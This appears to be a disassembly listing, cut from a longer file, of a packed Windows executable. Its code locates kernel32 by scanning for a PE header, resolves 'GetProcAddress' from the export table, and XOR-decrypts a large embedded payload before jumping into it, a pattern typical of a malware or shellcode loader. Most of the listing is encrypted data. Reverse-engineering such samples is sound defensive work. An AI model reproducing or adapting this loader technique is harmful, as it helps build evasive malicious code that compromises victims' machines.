		jnz	short loc_315092B7
		mov	eax, [ebx+3Ch]
		add	eax, ebx
		cmp	word ptr [eax],	4550h
		jz	short loc_315092BF


loc_315092B7:				; CODE XREF: start+2Aj
		sub	ebx, 100h
		jmp	short loc_315092A2
; ---------------------------------------------------------------------------


loc_315092BF:				; CODE XREF: start+36j
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		lea	esi, [ebx+esi]
		push	ecx


loc_315092CE:				; CODE XREF: start:loc_315092F5j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_315092F5
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_315092F5
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_315092F5
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_315092FA


loc_315092F5:				; CODE XREF: start+59j	start+62j ...
		loop	loc_315092CE
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_315092FA:				; CODE XREF: start+74j
		sub	[esp+0Ch+var_C], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_31509320+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_3150937E+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_31509320:				; CODE XREF: start+92p
		add	gs:[ebx-1], dl
start		endp ; sp-analysis failed

		setalc
		mov	[ebp+40240Bh], eax
		call	near ptr loc_3150933C+1
		inc	ebx
		jb	short loc_31509398
		popa
		jz	short loc_3150939B
		inc	ebp
		jbe	short near ptr loc_3150939D+1
		outsb
		jz	short near ptr loc_3150937B+2


loc_3150933C:				; CODE XREF: UPX2:3150932Bp
		add	[ebx-1], dl
		setalc
		mov	[ebp+40240Fh], eax
		call	sub_31509358
		inc	edi
		db	65h
		jz	short loc_3150939B
		popa
		jnb	short sub_315093C6
		inc	ebp
		jb	short near ptr sub_315093C6+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_31509358	proc near		; CODE XREF: UPX2:31509346p

; FUNCTION CHUNK AT 315093D6 SIZE 0000001E BYTES

		push	ebx
		call	esi
		mov	[ebp+402413h], eax
		call	sub_315093AB
		test	eax, eax
		jz	short loc_3150938B
		push	eax
		call	dword ptr [ebp+402413h]
		test	eax, eax
		jnz	short loc_31509385
		lea	eax, [ebp+401157h]


loc_3150937B:				; CODE XREF: UPX2:3150933Aj
		mov	dl, [eax-1]


loc_3150937E:				; CODE XREF: start+9Aj
		call	sub_315093C6
		jmp	short loc_315093D6
; ---------------------------------------------------------------------------


loc_31509385:				; CODE XREF: sub_31509358+1Bj
		call	dword ptr [ebp+40240Bh]


loc_3150938B:				; CODE XREF: sub_31509358+10j
		pop	ebp
		retn
sub_31509358	endp

; ---------------------------------------------------------------------------


loc_3150938D:				; CODE XREF: sub_315093AB+2p
		pop	edx
		push	0
		push	0
		push	0
		push	0
; ---------------------------------------------------------------------------
		dw 168h
; ---------------------------------------------------------------------------


loc_31509398:				; CODE XREF: UPX2:31509331j
		add	[eax+eax], al


loc_3150939B:				; CODE XREF: UPX2:31509334j
					; UPX2:3150934Cj
		mov	eax, esp


loc_3150939D:				; CODE XREF: UPX2:31509337j
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		push	edx
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	esp
		pop	edi
		xor	eax, [eax]

; =============== S U B	R O U T	I N E =======================================



sub_315093AB	proc near		; CODE XREF: sub_31509358+9p
		xor	ecx, ecx
		call	loc_3150938D
		lea	edx, [ebp+401127h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+40240Fh]
		add	esp, 20h
		retn
sub_315093AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_315093C6	proc near		; CODE XREF: UPX2:31509350j
					; sub_31509358:loc_3150937Ep ...
		mov	dh, dl
		mov	ecx, 12B4h


loc_315093CD:				; CODE XREF: sub_315093C6+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_315093CD
		retn
sub_315093C6	endp

; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_31509358


loc_315093D6:				; CODE XREF: sub_31509358+2Bj
		or	[ebx+42F73825h], dh
		int	0DBh		; used by BASIC	while in interpreter
		inc	esi
		out	0EDh, al
		les	ecx, [edi]
		call	far ptr	0DC11h:0D2B715A6h
		movs	dword ptr es:[di], dword ptr [si]
		mov	ebx, 0E90CF78Dh
		xor	al, 0BEh
		retn
; END OF FUNCTION CHUNK	FOR sub_31509358
; ---------------------------------------------------------------------------
		dd 36CF7760h, 0FA20101h, 0FD43F839h, 0DDD26990h, 979B50A1h
		dd 51C6D4ADh, 81AC68DDh, 0EA3BCB9Ch, 0C9A30135h, 2A3686Eh
		dd 6928188Dh, 598F2EADh, 96FB1826h, 37AE9411h, 0DE13EC22h
		dd 0A27C901h, 0C9AB4A95h, 22F3C354h, 81C3FDEDh,	45D0E49Dh
		dd 53D647BAh, 12C7EC71h, 2E0AC716h, 0EBDF54CFh,	0D61B8018h
		dd 26A22121h, 1D63985Ch, 996DFBDCh, 0BA301049h,	0B2D454BBh
		dd 4B8605A4h, 393FF431h, 7F976BFEh, 65691CD6h, 4DAB6FB1h
		dd 85EF65D9h, 0E63F8F90h, 0F2833F31h, 7A7C28D8h, 0D560EA78h
		dd 3CCB2A22h, 86F704E0h, 0AE4B180Dh, 254FC539h,	465FEFF0h
		dd 3D679991h, 0A12D9C39h, 0DAFF1E16h, 0B22BA07Dh, 2357A641h
		dd 64D4F485h, 3BC77498h, 99DB51C5h, 0D2236364h,	0BE39C01Dh
		dd 7FA0D448h, 16CB246Ah, 42B72949h, 9040B1CDh, 9A657B06h
		dd 0AC31537Ch, 75F2235Bh, 0F5934859h, 0F73CF758h, 76AB44EAh
		dd 24938301h, 26BC47D3h, 0FA6FE45Fh, 6ADF44CBh,	0C7383CFDh
		dd 7EB34C8Eh, 0BC242184h, 1F78C075h, 26E051ECh,	271218CDh
		dd 5B26AC2Ah, 3B7870E5h, 0B267B8A6h, 8CD7C73Dh,	81800B97h
		dd 768FBB10h, 63A7B3C1h, 0ADC6FD62h, 3FA4A459h,	0E61BF4DAh
		dd 9D868C8Eh, 7E90E318h, 0C952DFC9h, 750BC0D1h,	0C3465328h
		dd 0CDBB5DC2h, 3C670439h, 0CB44CF5Bh, 32F3FF44h, 0A37BDAFDh
		dd 0A03FB471h, 0A66F8A55h, 0B768F3EBh, 4E831C82h, 12CFA05Ah
		dd 0A61BC838h, 0D22D68BAh, 0FA1924D6h, 28F514E3h, 3ECB2AE7h
		dd 82F734DCh, 0C4729867h, 4FB094C6h, 63BD4C2h, 0CD2245CEh
		dd 0A300CCB2h, 3F728B16h, 0B66BB015h, 0E251DCF8h, 0FD6C736Dh
		dd 3A42A53Ch, 0EBDB10D5h, 0D2142C74h, 33D3571Dh, 0AA4859DCh
		dd 83745275h, 42F708C6h, 6EE34E25h, 0F560C8F9h,	964BC54Eh
		dd 9B11B523h, 7BF46D11h, 3FD355FFh, 26EB21B0h, 860019FEh
		dd 4BCAB86Dh, 0FA2FC042h, 6F144D5h, 0C738C3DBh,	7EB34C76h
		dd 0DF40548Ch, 0D421560Ah, 0D6FCBA37h, 0C6F119E7h, 5ACF44A8h
		dd 0E3BF15B6h, 0E240E973h, 0B725A14Fh, 6F189105h, 0A3547695h
		dd 629768DAh, 0D855BC66h, 0ED79F44Fh, 0C2CC45BAh, 0D604FC31h
		dd 0AB4C7F8Dh, 6A9F70C2h, 9461809Fh, 0E60839DEh, 0C6DAD80Dh
		dd 8D8F0478h, 4A32D18Eh, 8DB008F5h, 0DE37FF68h,	49C98729h
		dd 0B64F1BF0h, 75C30C81h, 6AB8AD52h, 0BA6A6499h, 255DCC71h
		dd 3C35B8CFh, 0F6579CA2h, 0F514E3h, 72B8D54Ah, 42726CA1h
		dd 46B04479h, 0DA4FC7DFh, 0E5EA3956h, 0C92225A1h, 2BD30899h
		dd 0C83EF5C1h, 0E62BA019h, 0B3019C15h, 0F1D0A83Dh, 7A8B130Ch
		dd 3F1BD5C5h, 0E6F87385h, 3BBCA039h, 0EA1FF0B2h, 0E975099Dh
		dd 0D7487F5Eh, 6EA37CC6h, 5E8E1C12h, 0C63BB10Dh, 0F9F22306h
		dd 0F7934859h, 0B540C838h, 2EEB2958h, 9F17D459h, 3643B835h
		dd 0FB6FE452h, 269B1085h, 52C73CB1h, 2FF368DDh,	3FE0C75Fh
		dd 0D60BE422h, 86DBB5CAh, 0CC586D4Dh, 69988757h, 0EFAD2FD7h
		dd 0B252E863h, 0AC27BB51h, 0A119105h, 57CE52D6h, 0B9129B5h
		dd 8E421D81h, 0DB4AD65Ah, 8F1DB531h, 73CA991Dh,	50DA58EDh
		dd 29DF15AEh, 0E26AE587h, 0AD45FC44h, 9D10BD2Eh, 68CC0438h
		dd 23CF51C0h, 1D8A3983h, 0F647ED89h, 0AE5ED15Bh, 9319A355h
		dd 76F278E0h, 2FA64AC5h, 8AC64BDh, 0C36FF160h, 0BE28D365h
		dd 8E1F8D35h, 44CC26BAh, 3EB830D4h, 0C7F7188Eh,	0FA57F175h
		dd 0BB2AB651h, 633CF001h, 5ECE5AE5h, 2AA709D8h,	0FF9D1D9Bh
		dd 0F758C561h, 96328B41h, 6BEF912Bh, 5FD54DCAh,	12BE17C5h
		dd 0F76B15B7h, 0DB5EC149h, 9E3A9349h, 63EF6F38h, 23FF49CDh
		dd 0B8F3CA3h, 0FF4884B8h, 0AB5EE451h, 9E0E9A21h, 73F24618h
		dd 0DBF75CCh, 13BF14B0h, 0C347FC6Ch, 0CE02D059h, 0AC1B811Eh
		dd 4FE862E0h, 15C752DEh, 1BA51CB8h, 0C576E77Bh,	9733855Bh
		dd 6318A061h, 4CCA54E9h, 23BD25CBh, 0E7B670A4h,	0D74ECA61h
		dd 9835874Ah, 0A1A9800h, 58CE50DAh, 7BB2587h, 0FE7319A0h
		dd 0FB48CA70h, 832B9F45h, 7DF5AC1Fh, 4DC04DFEh,	5AD04C9h
		dd 0E578E596h, 0AB719E12h, 0EE17AB3Fh, 79E07629h, 75C843C0h
		dd 0A8212E3h, 0FB408889h, 0A656F25Dh, 821FA130h, 57F565F3h
		dd 0FB05DD9h, 0E8A37D9h, 0C377F943h, 0B72AD565h, 9B1FBB5Dh
		dd 7F9F64ECh, 26AA2DDBh, 0F59205B7h, 0C765FE42h, 8C4FA155h
		dd 730F820Ch, 5EE670F0h, 5EB027D1h, 0FE9606BEh,	0DA42E670h
		dd 9619CC24h, 7BE99C2Ch, 48FF50EAh, 0AB226ACh, 0E1621B94h
		dd 0DB58C749h, 9E11D427h, 77EE7236h, 2BF149D5h,	20E33DA1h
		dd 0FF7DC78Dh, 965EC444h, 9704B323h, 50937B0Eh,	2FCD77DDh
		dd 268E14B4h, 0C774E373h, 0B606CB5Eh, 0B71BAA59h, 4FCD60E4h
		dd 34884BD4h, 0A900D8Eh, 0AA71FB60h, 0A604B47Bh, 70278204h
		dd 5DC67BE2h, 31A010CAh, 0C8FB1E80h, 0DD55CC65h, 0AA30AD49h
		dd 7E0D9D3Fh, 7BC741E0h, 10B821A4h, 0FA4D7894h,	0CE46D64Eh
		dd 94328620h, 7EE68905h, 51DE4DD0h, 38DF2DBBh, 0F85EEC81h
		dd 0A658CF48h, 9C178B28h, 4EE86A10h, 35D571CAh,	930FB8h
		dd 9E74E694h, 997EE77Eh, 82198121h, 41977CF4h, 2BB057C1h
		dd 118C0BAAh, 0C51BE460h, 0B729D25Eh, 99739C3Eh, 45F760ECh
		dd 2FA934C6h, 0E79A0D8Fh, 0CD46EA0Dh, 0BF3CC44Fh, 757B940Bh
		dd 57CC7FFEh, 309A48C9h, 0E48D119Dh, 0DA68D470h, 0AA32BF2Eh
		dd 62E7960Ch, 54E624FCh, 8A935B1h, 0F7400894h, 0D05CEB69h
		dd 9E3CB127h, 62D86410h, 42D258C0h, 0B973684h, 0EE6AEA8Bh
		dd 0A85EC06Ah, 9C2EDC10h, 70E16D09h, 3AF040CCh,	4BE0EB0h
		dd 0EB17CD6Dh, 0BC26CC43h, 0A81B8137h, 60FF71E0h, 52A250D8h
		dd 3FA52C9Ch, 982CDD59h, 9A07841Bh, 6512BE61h, 5DCC74CEh
		dd 23AA0FDCh, 0E19E22E5h, 0DC42EC5Eh, 9B2AAD76h, 587FB511h
		dd 43FA47F0h, 34AE3EA4h, 0EB76148Ch, 0BA6EDC5Ch, 0B53CB517h
		dd 73D18814h, 7BD65DF1h, 0E9DF15B1h, 5E20851Ch,	0C237C470h
		dd 0A2EE304Dh, 1AE5075Dh, 16EA35CFh, 0F9E23682h, 4A98D831h
		dd 8A55E079h, 938B204h,	62B3A314h, 4207BBADh, 5E5CF126h
		dd 62989045h, 5F107F39h, 0BE674BD8h, 7A602789h,	50A140DFh
		dd 0A698F91Eh, 6EA6984Dh, 0B21FBB4Dh, 67BA858h,	32CDC81Ah
		dd 5AB98436h, 9AFF7481h, 0E429CA15h, 0DF3FCC2Bh, 6483F835h
		dd 6AFC7599h, 427CC53Ah, 0CB587CB1h, 9A383DE2h,	15DAD409h
		dd 9B004B01h, 42F7382Dh, 0FB6E542Eh, 9A4F94F9h,	956C6126h
		dd 77EC0EAEh, 1ED32CE6h, 59C2BB24h, 2E0360D5h, 29E873FEh
		dd 8E6727A8h, 30E06959h, 0CE9B1096h, 0AD38C3F6h, 5A50ED56h
		dd 6A9A9449h, 59C6CB41h, 277FFB6h, 0D15C2A65h, 508CF46h
		dd 86132526h, 0EF279C11h, 0C6FF25BCh, 0C34CF429h, 2AE9A518h
		dd 36864C81h, 0DF5329BCh, 81BA5B48h, 615B9061h,	8778D875h
		dd 3EF30C96h, 6ADB9694h, 960B68A0h, 436AAC21h, 0AE7B03A0h
		dd 97706E79h, 6A39630h,	0BFB50CD1h, 0B413ACDDh,	0C6FB3729h
		dd 1AEE2733h, 0EF974C99h, 0A046FF8Dh, 5EEF24C1h, 0FB1BBA05h
		dd 0B846D6F2h, 140175Ch, 3F6010FAh, 0A6BF8030h,	82F76789h
		dd 0F5F3130Dh, 5773943Ah, 4662FAD0h, 3E1D9791h,	0D5D348BCh
		dd 8AFE7C63h, 9DD3A315h, 29DCAC8Ah, 7AE25E9Eh, 0CF4D639Ch
		dd 0A158922Eh, 468C2BFEh, 0EEFF234Eh, 0BB1FBE1Dh, 0E9746A27h
		dd 2938334h, 6227DBCDh,	0BE4C1172h, 1110B065h, 356036D2h
		dd 0F693627Ah, 49E8BDA9h
		dd 737E0916h, 0A717CC24h, 0FD4BB0A9h, 0E0DFA699h, 39E850Ch
		dd 0B0303CF1h, 0D4922A50h, 4B6A5DF7h, 0D6A395F6h, 5F77EC61h
		dd 373FF50Ch, 0C74444F9h, 86BB55ECh, 0BA03E092h, 67D7C73Dh
		dd 8B7FF469h, 36A92879h, 66BF18C1h, 710378ECh, 0FA0BFF8Ch
		dd 6BA75B45h, 1383D8F5h, 54E3289Dh, 6ADBBCC9h, 0C45D80F5h
		dd 3D60AC75h, 0AE478FD8h, 97463779h, 46BA3432h,	18B60DD1h
		dd 9F79D9FFh, 0CA3FB441h, 6394B215h, 22D728AAh,	3A35BD3Bh
		dd 12BB3482h, 0A61B9101h, 0F6F34366h, 0FE73EA7Dh, 0E788176h
		dd 0D39240F5h, 61E11821h, 7AA8C819h, 8B1DC453h,	9384A632h
		dd 32E73802h, 2B13CDE4h, 1F002239h, 0B66B841Eh,	0B0139BCCh
		dd 56C7923Ah, 3BABB314h, 557050C5h, 0CB171631h,	0EE6303EEh
		dd 0BA0F8419h, 83745225h, 42F70892h, 6CEB9C4Ch,	0EEF084F9h
		dd 53C4B801h, 0F227F886h, 0C906F72Eh, 17BF748Dh, 0F6EB6417h
		dd 0A362863Fh, 46CE336Bh, 196FA44Dh, 260E9D9Ch,	51C77CA1h
		dd 0AC0C3E0Ch, 2210548Dh, 0D64BC12Ah, 367686Eh,	1023188Dh
		dd 1CDF3183h, 89FB4E65h, 0B2269D95h, 0FE6D483Dh, 8B39051Ch
		dd 78E270ABh, 0E9953986h, 8F45BE22h, 0EBE18F56h, 0B00AD02Fh
		dd 0DD120322h, 67B368B9h, 0EFD095F2h, 960B802Ah, 0DE0129ACh
		dd 0EE09D80Dh, 1A8F0811h, 0B9E860A5h, 32C39344h, 9E1FB5FDh
		dd 4F30B429h, 0F66BE0EAh, 2297BD68h, 1EFDB9ADh,	75B92D8Bh
		dd 0A61B3580h, 0DA813F31h, 0F17ED4F1h, 2A9F8D0Dh, 23EB7CB5h
		dd 0B8CBC012h, 0AEAF1D02h, 0D7E2C439h, 265BD045h, 57C03DACh
		dd 0F2AC3DC9h, 0F68A54D5h, 96D4DE94h, 9723B829h, 0DFD791Ch
		dd 15801EE9h, 211D38B0h, 0A3087C0Eh, 0BE14B8A7h, 0B8BD2349h
		dd 320C958Ah, 82842CE1h, 3EB3089Dh, 9A0F8D11h, 0B154F425h
		dd 9308B03Fh, 8B6C0819h, 4AFF1076h, 409FA050h, 279E4532h
		dd 0CE039D24h, 0F86F8C08h, 77CA9085h, 0C7386CE7h, 7EB34C3Eh
		dd 0B3890184h, 0E51BC075h, 5226B8A8h, 0D1F249DFh, 1AEB7F2Ch
		dd 0A2FFF7E5h, 962C09EEh, 1DABC87Dh, 1E0479E9h,	0CFAA20D5h
		dd 24981F02h, 0DC422FB9h, 0D362F85Ch, 9534A226h, 4EF39A1Eh
		dd 5ADD41CAh, 36AC23A6h, 0E479F5B6h, 9443C244h,	8710AA28h
		dd 5FD36A16h, 29D740DDh, 729539A3h, 0EF7AE6A8h,	0A577D15Ch
		dd 0F46B9426h, 7767F381h, 3E13B7DFh, 13970BABh,	0CF35F168h
		dd 0B320DF43h, 870B8931h, 2AF364A7h, 1D8809FBh,	0ED9B1CC1h
		dd 0CA4BF268h, 891ACE4Fh, 6F5BA220h, 7972EA1h, 70F3798Dh
		dd 0B0DF5AC9h, 0FF64EA4Ah, 9471EC0Fh, 7BF78A04h, 3A477193h
		dd 3BDB50C5h, 8E4F9170h, 3BF5A85Dh, 0EA1FC032h,	491EFF75h
		dd 83B76C85h, 52974725h, 2F849A93h, 0C67B943Ah,	0DC5B7008h
		dd 9FF52208h, 3FA2CB97h, 8956EDF6h, 2917CC25h, 6B14BA5Bh
		dd 7FE2413Fh, 26DB33D6h, 71BEB93Eh, 0F709689Dh,	0E4936E4Fh
		dd 0D7FA3BCBh, 419C2383h, 3A009D00h, 309F44F9h,	79FD1AE5h
		dd 0F203F384h, 0FA2F4B3Dh, 210AF061h, 36AB247Dh, 21911FC1h
		dd 0DD9687EDh, 522FE43Dh, 19A42C09h, 1287FB99h,	7DF57B9Dh
		dd 6A8C1B96h, 0B258150Ah, 0F7DFAC61h, 69C27B1h,	0E570F03Eh
		dd 54DFBD5Ah, 790F5C91h, 0CB1388FDh, 0F96DF17Ah, 0BA2FCE67h
		dd 0B7680CCDh, 4E831CCAh, 7AEF6E31h, 0D668E705h, 0A629D543h
		dd 0AE73A93Bh, 0E888176h, 0D34240F5h, 82B748C2h, 23AEA902h
		dd 0DA0FD3B4h, 237E75ECh, 0CDF61CD1h, 1EF72F28h, 8E97E7E9h
		dd 3B2BA015h, 0A24056F4h, 0B30EA16Dh, 3AEF0072h, 992C162Dh
		dd 17C01A0Eh, 0BE73B3E7h, 4FDC24B6h, 16CB1B89h,	0F822A1A1h
		dd 3EE318D6h, 0F00EEEADh, 0C453E225h, 0DE7DC51h, 5EB7E7E8h
		dd 107FB1A9h, 0FB6642A0h, 0A25797ECh, 4345D27Fh, 0BA741EECh
		dd 76CD4485h, 0AD956DE1h, 3ED79B48h, 3FE0CC09h,	0D60BE4DEh
		dd 257B69A7h, 0C6A318CDh, 5ACF44B5h, 0C5B423B2h, 9C15AF5Ah
		dd 0DE1F8479h, 2E186196h, 5E3820D5h, 62D74CC6h,	98F2CD60h
		dd 3776A459h, 0A67F6BF8h, 0E4461471h, 325BD762h, 3DDF54C9h
		dd 0D842CEBCh, 8619F864h, 11639401h, 5AAB63ECh,	497BB5A5h
		dd 72E6BB55h, 9B7B1BFDh, 473FB429h, 0B67CCFE0h,	9F1A5581h
		dd 4E831C7Ah, 8519EE31h, 7DA613FAh, 0D247FC15h,	0FFB16C52h
		dd 0C61E1489h, 56CB4125h, 83F604B5h, 3BDC980Dh,	0DA0FE082h
		dd 7EB34E4h, 0B9F71C91h, 0CD32269h, 0AE24E116h,	76AEA055h
		dd 8A5AB918h, 0E83EBE5h, 1E28B166h, 84305085h, 89FBC172h
		dd 0CB33A85Dh, 0EADA5960h, 468B4069h, 6670B95Eh, 0AE66588Dh
		dd 9B3400F6h, 86B0B025h, 0D67575Dh, 0E216874Dh,	8CBF74B2h
		dd 36CC6C50h, 0A27D8D01h, 0CC29B947h, 0DEBC71A6h, 0DE1810C5h
		dd 4043334Eh, 0EDF368DCh, 0B1E70184h, 0C621C075h, 9788BF33h
		dd 2EE33C4Eh, 0DFC0843Ch, 86FB7017h, 0AE3D219Ch, 0D6E2C87Dh
		dd 0F5853481h, 363F486Ah, 49894CC1h, 0AA37F10Bh, 0D9BA5B4Dh
		dd 6B5B9061h, 529BD4CCh, 0D6B2999Dh, 9520AE68h,	862FC47Eh
		dd 0C93F4CE0h, 2F67FC09h, 5E840C99h, 0AEEB3881h, 72E75CD4h
		dd 0E625A6D8h, 5FC0E329h, 0F62BC476h, 0E49BC802h, 0C3E33EEAh
		dd 3AF3714Ch, 0CE1BFA05h, 0D247BC10h, 6B8CBB0Fh, 2ADF3046h
		dd 42EF3C38h, 0A56293B6h, 6823D829h, 9A45FC3Dh,	512BF00Fh
		dd 0FD32E3C2h, 5DD30899h, 0BC42F90Fh, 0DC2BE009h, 0E25BA441h
		dd 5DD4F86Dh, 1E60B166h, 6AE65085h, 0E7077CF1h,	0B3862550h
		dd 675F946Ch, 56AC0CF8h, 287907A1h, 3DB509CDh, 0BEC41106h
		dd 3EB8B065h, 6348A251h, 0AB1EF6F6h, 4AFF11A4h,	0D8196D65h
		dd 4A779C74h, 31BC42DAh, 19789638h, 27EC9D8Ch, 9D4CD65Ah
		dd 0C37EA6F6h, 0AA5FB104h, 21CC64C6h, 0FD24558Ah, 6E87A718h
		dd 2172C4B9h, 87FB30F1h, 824FB665h, 2153C848h, 4A5B73FCh
		dd 3A16A095h, 62D70CE6h, 0BC46999h, 0BA6FBFE5h,	0E65BD045h
		dd 358B79B7h, 0D7B328DDh, 9520AA9Fh, 828F0532h,	0C237AC61h
		dd 2C3E584Dh, 0AF02047Dh, 46FB17A8h, 3572A387h,	1D13C8D9h
		dd 4E304BD1h, 0F66BE0EEh, 0A868908h, 4EA938EDh,	57A9B8Fh
		dd 231BD021h, 76C3B3F1h, 0D573E85Dh, 40CF4449h,	57A110B6h
		dd 82F76C89h, 3BDCCECDh, 0DA0FE012h, 98408E6h, 32A5F815h
		dd 4B56C1BDh, 7FF34C1h,	0F603B998h, 0C3C24141h,	5F83B845h
		dd 6AAF4ECBh, 4294C53Ah, 6A847CB1h, 0CB7A7E2h, 805FD44Bh
		dd 33EFF75h, 0BDB76C89h, 2EC71358h, 65F707F9h, 0C4A0342Ah
		dd 77EEDC51h, 1ED32054h, 89BCFD9Ah, 1CBA3084h, 17E8DD05h
		dd 0CE039038h, 0DE4071A6h, 0E61E10C5h, 50B0B8BEh, 0B7C068DDh
		dd 82321180h, 871AC075h, 2688430h, 0D1F31882h, 1AEB2F2Ch
		dd 893BF5E5h, 0B225AC95h, 0EFD6413Dh, 0C97FB441h, 8E936B1Eh
		dd 62D714FDh, 4F00AADEh, 5BD855EEh, 0CE6255CCh,	590CFC31h
		dd 2AB990A1h, 0B8EC54C9h, 67FC41F6h, 47BE4DD6h,	0EE23F078h
		dd 51380BBAh, 7058C9A3h, 7DFF0F5Ch, 9D07CB4Ah, 0B54FDF9h
		dd 77BBE37Dh, 4BE053BBh, 50B7C1C3h, 7695E790h, 2DC4E204h
		dd 90CC807Ah, 0EE31EB49h, 0D5D75004h, 97E89942h, 0AADEE9DAh
		dd 0F7E0984Dh, 0D66B80B2h, 6C378ECh, 0F2941C91h, 0B51CC37Eh
		dd 8742F9E2h, 4A2BE032h, 2B6413CAh, 7CE2C4C1h, 4DD5189Fh
		dd 0CCFB7CC7h, 7E7320CDh, 63478621h, 22AD475h, 1700C896h
		dd 7EF699Ch, 53E82CCDh,	9A5DC7AAh, 3972352Ah, 0F1EC23AEh
		dd 50DA5F40h, 763B3BEAh
		dd 4B149F2Ah, 0EC42CF56h, 31723C22h, 0AD521BA6h, 29A923C6h
		dd 0AD381A35h, 2DA35522h, 2E10DB5Dh, 29B43F2Eh,	419F3752h
		dd 215CE773h, 0A5304A3Dh, 6E29431Ah, 0B2279C07h, 21ACA6D5h
		dd 0A7F1C96h, 0B7F62095h, 22F6FB2Ch, 8EFA91EDh,	454BA419h
		dd 0D7EE5B77h, 7687BC59h, 0BFD50A14h, 658519F7h, 960B6270h
		dd 0FE692721h, 6F05064Eh, 15CA5442h, 46BBE220h,	64A4ABD1h
		dd 9E13A8FDh, 0CAFA3126h, 0B59DE055h, 0A6980EDDh, 4EC33816h
		dd 5ACF1A58h, 0A93BB025h, 0D24712B5h, 0BC005Dh,	0A890EB76h
		dd 56CB4016h, 7D09FB09h, 0AE8170F2h, 47C4C439h,	63BD850h
		dd 0CD5AA979h, 0D6574742h, 1FF74E9h, 0F60391A0h, 0DE094741h
		dd 906B266Eh, 4850DB67h, 4291D1B3h, 72077C91h, 0BD655696h
		dd 5FD2C033h, 16CB1075h, 0FBA756A2h, 6EE35DCFh,	2BAA77AEh
		dd 35395326h, 0A03983F5h, 93013972h, 4ABE632Eh,	89BBE8D5h
		dd 5DF945E9h, 84C8E2D2h, 0EA25E755h, 0D9E5108h,	154E14F2h
		dd 5EB5AFCEh, 8A3FB429h, 5D638BBCh, 87FCFC2Bh, 2EE330B8h
		dd 29C70E80h, 8EB1F9E6h, 3137DE10h, 5553905Eh, 4A57CDECh
		dd 3EE92195h, 51870FC0h, 0AC881C3Fh, 0E22D2B7Dh, 0CE4E6DC6h
		dd 1D87FC31h, 0C14ECA19h, 5B6AAB36h, 690BC0DDh,	821327B4h
		dd 0C3D6274Dh, 0E58F4451h, 69F3B30h, 6B6AD1D1h,	1313C8D5h
		dd 8A1795BCh, 9C39B155h, 3722F381h, 0B1C37885h,	3ACBE74Ch
		dd 0B3AE6F05h, 2D47FC19h, 0BE57E3C8h, 272A9989h, 0A9CB0092h
		dd 0C2DF7D54h, 3BDCCE0Dh, 0DA0FE046h, 2E6E55E6h, 0F1A71CD1h
		dd 5ED34855h, 8B9529E9h, 95194D94h, 120FCC01h, 8A063962h
		dd 0BFAF648Dh, 0AE589305h, 53088C0Eh, 0FE272C98h, 0FA621749h
		dd 638B2A75h, 3E364ABDh, 1F8F54E9h, 726F978Ch, 39C44FE1h
		dd 308FD924h, 0F66CF780h, 0B540CB7Bh, 5B144EB4h, 0B023DA79h
		dd 31E9504Dh, 0C31A1BA6h, 16BF540Eh, 75CA893Ch,	2E78689Dh
		dd 909EF201h, 0F338C233h, 2778437h, 0EA281872h,	0A9D44D3h
		dd 0A24CE51Ah, 76A49C51h, 826D4935h, 7F23CB56h,	326DA396h
		dd 9D2A3829h, 71879012h, 24E5BE6h, 0E65BD060h, 12A844B2h
		dd 2E5B289Dh, 0A8DF54C9h, 0A6B380D5h, 2A37AC21h, 0EE63D84Eh
		dd 978F20BBh, 8BB714F1h, 721FDFFFh, 76739181h, 0CA3FB429h
		dd 0C64FB4DEh, 0A38D87DCh, 0EE0CD40h, 8EEB8CD9h, 647A6FFAh
		dd 0BC35h, 1A5Dh dup(0)
UPX2		ends

; Section 4. (virtual address 00011000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00011000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 31511000h
		align 2000h
_idata2		ends


		end start